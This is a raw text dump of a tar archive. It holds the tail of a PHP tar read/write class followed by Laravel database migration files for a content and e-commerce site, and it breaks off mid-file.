fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> migrations/2020_04_03_184459_add_order_status_to_packages.php 0000644 00000001264 15213355333 0017433 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddOrderStatusToPackages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->tinyInteger('order_status')->after('description')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('order_status'); }); } } migrations/2020_04_03_174526_add_breadcrumb_overlay_color_to_basic_settings_extended.php 0000644 00000001530 15213355333 0025053 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddBreadcrumbOverlayColorToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('breadcrumb_overlay_color', 20)->nullable(); $table->decimal('breadcrumb_overlay_opacity', 2, 2)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['breadcrumb_overlay_color', 'breadcrumb_overlay_opacity']); }); } } migrations/2020_04_04_161837_add_feature_col_to_portfolios.php 0000644 00000001347 15213355333 0017625 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFeatureColToPortfolios extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('portfolios', function (Blueprint $table) { $table->tinyInteger('feature')->default(0)->comment('0 - will not show in home, 1 - will show in home')->after('status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('portfolios', function (Blueprint $table) { $table->dropColumn('feature'); }); } } migrations/2021_03_31_112700_add_pricing_section_to_basic_settings_extended.php 0000644 00000001367 15213355333 0023160 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPricingSectionToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->tinyInteger('pricing_section')->default(1)->comment('1 - active, 0 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('pricing_section'); }); } } migrations/2021_02_03_050124_add_receipt_to_course_purchases.php 0000644 00000001375 15213355333 0020126 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddReceiptToCoursePurchases extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('course_purchases', function (Blueprint $table) { $table->string('receipt', 255)->nullable(); $table->string('gateway_type', 255)->default('online'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('course_purchases', function (Blueprint $table) { $table->dropColumn(['receipt', 'gateway_type']); }); } } migrations/2020_10_26_121727_add_events_and_causes_to_basic_settings_table.php 0000644 00000002317 15213355333 0022767 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddEventsAndCausesToBasicSettingsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->text('event_title')->nullable(); $table->text('event_subtitle')->nullable(); $table->text('event_details_title')->nullable(); $table->text('cause_title')->nullable(); $table->text('cause_subtitle')->nullable(); $table->text('cause_details_title')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('event_title'); $table->dropColumn('event_subtitle'); $table->dropColumn('event_details_title'); $table->dropColumn('cause_title'); $table->dropColumn('cause_subtitle'); $table->dropColumn('cause_details_title'); }); } } migrations/2021_04_12_104459_add_website_link_column_to_portfolios_table.php 0000644 00000001156 15213355333 0022533 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddWebsiteLinkColumnToPortfoliosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('portfolios', function (Blueprint $table) { $table->string('website_link')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('portfolios', function (Blueprint $table) { $table->dropColumn('website_link'); }); } } migrations/2020_03_14_152922_create_points_table.php 0000644 00000001506 15213355333 0015541 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePointsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('points', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('icon', 255)->nullable(); $table->string('title', 255)->nullable(); $table->string('short_text', 255)->nullable(); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('points'); } } migrations/2021_01_11_053211_add_cols_to_homes.php 0000644 00000001566 15213355333 0015171 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddColsToHomes extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('homes', function (Blueprint $table) { $table->bigInteger('language_id')->nullable(); $table->longText('components')->nullable(); $table->longText('styles')->nullable(); $table->longText('html')->nullable()->change(); $table->longText('css')->nullable()->change(); $table->dropColumn('home'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('homes', function (Blueprint $table) { // }); } } migrations/2021_01_22_054021_add_package_guest_checkout_to_basic_settings_extra.php 0000644 00000001335 15213355333 0024005 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPackageGuestCheckoutToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('package_guest_checkout')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('package_guest_checkout'); }); } } migrations/2020_03_27_172511_remove_package_currency_from_package_orders.php 0000644 00000001277 15213355333 0022476 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class RemovePackageCurrencyFromPackageOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('package_orders', function (Blueprint $table) { $table->dropColumn('package_currency'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('package_orders', function (Blueprint $table) { $table->string('package_currency', 20)->nullable(); }); } } migrations/2020_06_16_111322_add_meta_columns_to_products.php 0000644 00000001351 15213355333 0017446 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddMetaColumnsToProducts extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('products', function (Blueprint $table) { $table->text('meta_keywords')->nullable(); $table->text('meta_description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('products', function (Blueprint $table) { $table->dropColumn(['meta_keywords', 'meta_description']); }); } } migrations/2020_11_10_100650_create_course_reviews_table.php 0000644 00000001231 15213355333 0017246 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCourseReviewsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('course_reviews', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('user_id'); $table->integer('course_id'); $table->text('comment')->nullable(); $table->integer('rating'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('course_reviews'); } } migrations/2020_03_14_101721_create_galleries_table.php 0000644 00000001467 15213355333 0016171 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateGalleriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('galleries', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('title', 255)->nullable(); $table->string('image', 255)->nullable(); $table->integer('serial_number')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('galleries'); } } migrations/2021_01_21_151530_add_product_rating_system.php 0000644 00000001306 15213355333 0016760 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddProductRatingSystem extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('product_rating_system')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('product_rating_system'); }); } } migrations/2021_02_07_160028_add_invoice_to_event_details.php 0000644 00000001260 15213355333 0017402 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddInvoiceToEventDetails extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('event_details', function (Blueprint $table) { $table->string('invoice', 255)->after('receipt')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('event_details', function (Blueprint $table) { $table->dropColumn('invoice'); }); } } migrations/2021_02_04_105849_add_cols_to_donation_details.php 0000644 00000002145 15213355333 0017412 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddColsToDonationDetails extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('donation_details', function (Blueprint $table) { $table->decimal('amount', 11, 2)->default(0.00)->comment('USD Converted Amount')->change(); $table->decimal('actual_amount', 11, 2)->default(0.00)->after('amount')->comment('Actual (Without Conversion to USD) Amount'); $table->string('currency_position', 255)->after('currency')->default('right'); $table->string('currency_symbol_position', 255)->after('currency_symbol')->default('left'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('donation_details', function (Blueprint $table) { $table->dropColumn(['amount', 'actual_amount', 'currency_position', 'currency_symbol_position']); }); } } migrations/2020_03_14_141414_create_members_table.php 0000644 00000001753 15213355333 0015655 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateMembersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('members', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 50)->nullable(); $table->string('rank', 50)->nullable(); $table->string('image', 255)->nullable(); $table->string('facebook', 255)->nullable(); $table->string('twitter', 255)->nullable(); $table->string('instagram', 255)->nullable(); $table->string('linkedin', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('members'); } } migrations/2021_01_26_080703_add_gateway_pending_package_cols_to_subscriptions.php 0000644 00000002045 15213355333 0023672 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddGatewayPendingPackageColsToSubscriptions extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('subscriptions', function (Blueprint $table) { $table->string('receipt', 255)->nullable(); $table->string('current_payment_method', 255)->nullable(); $table->string('next_payment_method', 255)->nullable(); $table->integer('pending_package_id')->nullable(); $table->string('pending_payment_method', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('subscriptions', function (Blueprint $table) { $table->dropColumn(['receipt', 'current_payment_method', 'next_payment_method', 'pending_package_id', 'pending_payment_method']); }); } } migrations/2020_03_14_145133_create_package_input_options.php 0000644 00000001350 15213355333 0017434 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePackageInputOptions extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('package_input_options', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('package_input_id')->nullable(); $table->string('name', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('package_input_options'); } } migrations/2021_03_18_045056_create_permalinks_table.php 0000644 00000001666 15213355333 0016405 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePermalinksTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('permalinks', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('language_id'); $table->string('permalink', 50)->nullable(); $table->string('type', 100)->nullable(); $table->tinyInteger('details')->default(0)->comment('1 - for details page, 0 - for non-details page'); $table->foreign('language_id')->references('id')->on('languages')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('permalinks'); } } migrations/2021_03_31_100022_add_custom_page_pagebuilder_to_basic_settings_extra.php 0000644 00000001406 15213355333 0024161 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCustomPagePagebuilderToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('custom_page_pagebuilder')->default(1)->comment('0 - disabled, 1 - enabled'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('custom_page_pagebuilder'); }); } } migrations/2021_04_07_103852_create_gallery_categories_table.php 0000644 00000001527 15213355333 0020076 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateGalleryCategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('gallery_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('language_id'); $table->foreign('language_id')->references('id') ->on('languages') ->onDelete('cascade'); $table->string('name'); $table->unsignedTinyInteger('status'); $table->unsignedInteger('serial_number'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('gallery_categories'); } } migrations/2021_11_14_101342_add_image_in_pcategories_table.php 0000644 00000001256 15213355333 0017637 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AddImageInPcategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pcategories', function (Blueprint $table) { $table->string('image', 100)->nullable()->after('language_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pcategories', function (Blueprint $table) { $table->dropColumn('image'); }); } } migrations/2021_04_10_094002_add_category_id_column_to_packages_table.php 0000644 00000001161 15213355333 0021705 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCategoryIdColumnToPackagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->unsignedBigInteger('category_id')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('category_id'); }); } } migrations/2021_01_21_082211_add_facebook_google_login_cols_to_basic_settings_extra.php 0000644 00000002317 15213355333 0024635 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFacebookGoogleLoginColsToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('is_facebook_login')->default(1)->comment('1 - Active, 0 - Deactive'); $table->string('facebook_app_id', 100)->nullable(); $table->string('facebook_app_secret', 100)->nullable(); $table->tinyInteger('is_google_login')->default(1)->comment('1 - Active, 0 - Deactive'); $table->string('google_client_id', 150)->nullable(); $table->string('google_client_secret', 70)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['is_facebook_login','facebook_app_id','facebook_app_secret','is_google_login','google_client_id','google_client_secret']); }); } } migrations/2020_03_14_172603_create_roles_table.php 0000644 00000001267 15213355333 0015353 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateRolesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('roles', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name', 255)->nullable(); $table->text('permissions')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('roles'); } } migrations/2021_02_05_130302_add_donation_checkout_status.php 0000644 00000001354 15213355333 0017433 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDonationCheckoutStatus extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('offline_gateways', function (Blueprint $table) { $table->tinyInteger('donation_checkout_status')->default(1)->comment('1 - active, 2 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('offline_gateways', function (Blueprint $table) { $table->dropColumn('donation_checkout_status'); }); } } migrations/2020_09_16_133334_create_event_categories_table.php 0000644 00000001551 15213355333 0017557 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateEventCategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('event_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name'); $table->string('slug'); $table->enum('status',[0,1])->default(1); $table->unsignedBigInteger('lang_id'); $table->foreign('lang_id')->references('id')->on('languages'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('event_categories'); } } migrations/2021_01_21_041425_add_shipping_method_to_product_orders.php 0000644 00000001317 15213355333 0021334 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddShippingMethodToProductOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('product_orders', function (Blueprint $table) { $table->string('shipping_method', 255)->after('order_number')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('product_orders', function (Blueprint $table) { $table->dropColumn('shipping_method'); }); } } migrations/2021_01_24_075337_add_expiration_reminder_days_in_basic_settings_extra.php 0000644 00000001433 15213355333 0024407 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddExpirationReminderDaysInBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->integer('expiration_reminder')->nullable()->comment('number of days of reminder before subscription expiration'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('expiration_reminder'); }); } } migrations/2021_01_11_063030_add_home_version_to_basic_settings.php 0000644 00000001257 15213355333 0020611 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddHomeVersionToBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->string('home_version', 100)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('home_version'); }); } } migrations/2020_03_29_161843_add_theme_version_to_basic_settings_extended.php 0000644 00000001313 15213355333 0022661 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddThemeVersionToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('theme_version', 30)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('theme_version'); }); } } migrations/2021_01_20_052747_add_tax_discount_to_product_orders.php 0000644 00000001575 15213355333 0020675 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddTaxDiscountToProductOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('product_orders', function (Blueprint $table) { $table->decimal('cart_total', 8, 2)->default(0.00)->after('shpping_number'); $table->decimal('discount', 8, 2)->default(0.00)->after('cart_total'); $table->decimal('tax', 8, 2)->default(0.00)->after('discount'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('product_orders', function (Blueprint $table) { $table->dropColumn(['tax', 'discount', 'cart_total']); }); } } migrations/2020_10_28_093420_add_sidebar_col_to_blogs.php 0000644 00000001302 15213355333 0016473 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSidebarColToBlogs extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('blogs', function (Blueprint $table) { $table->tinyInteger('sidebar')->after('content')->default(1)->comment('1 - enabled, 0 - disabled'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('blogs', function (Blueprint $table) { $table->dropColumn('sidebar'); }); } } migrations/2020_03_14_154707_create_portfolio_images_table.php 0000644 00000001334 15213355333 0017571 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePortfolioImagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('portfolio_images', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('portfolio_id')->nullable(); $table->string('image', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('portfolio_images'); } } migrations/2020_04_29_180209_add_package_background_to_basic_settings_extended.php 0000644 00000001332 15213355333 0023603 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPackageBackgroundToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('package_background', 50)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('package_background'); }); } } migrations/2021_04_07_074645_add_status_to_popups.php 0000644 00000001254 15213355333 0016007 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddStatusToPopups extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('popups', function (Blueprint $table) { $table->tinyInteger('status')->default(1)->comment('1 - active, 0 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('popups', function (Blueprint $table) { $table->dropColumn('status'); }); } } migrations/2020_03_14_144528_create_package_inputs_table.php 0000644 00000002131 15213355333 0017220 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePackageInputsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('package_inputs', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->tinyInteger('type')->comment('1-text, 2-select, 3-checkbox, 4-textarea, 5-file'); $table->string('label')->nullable(); $table->string('name')->nullable(); 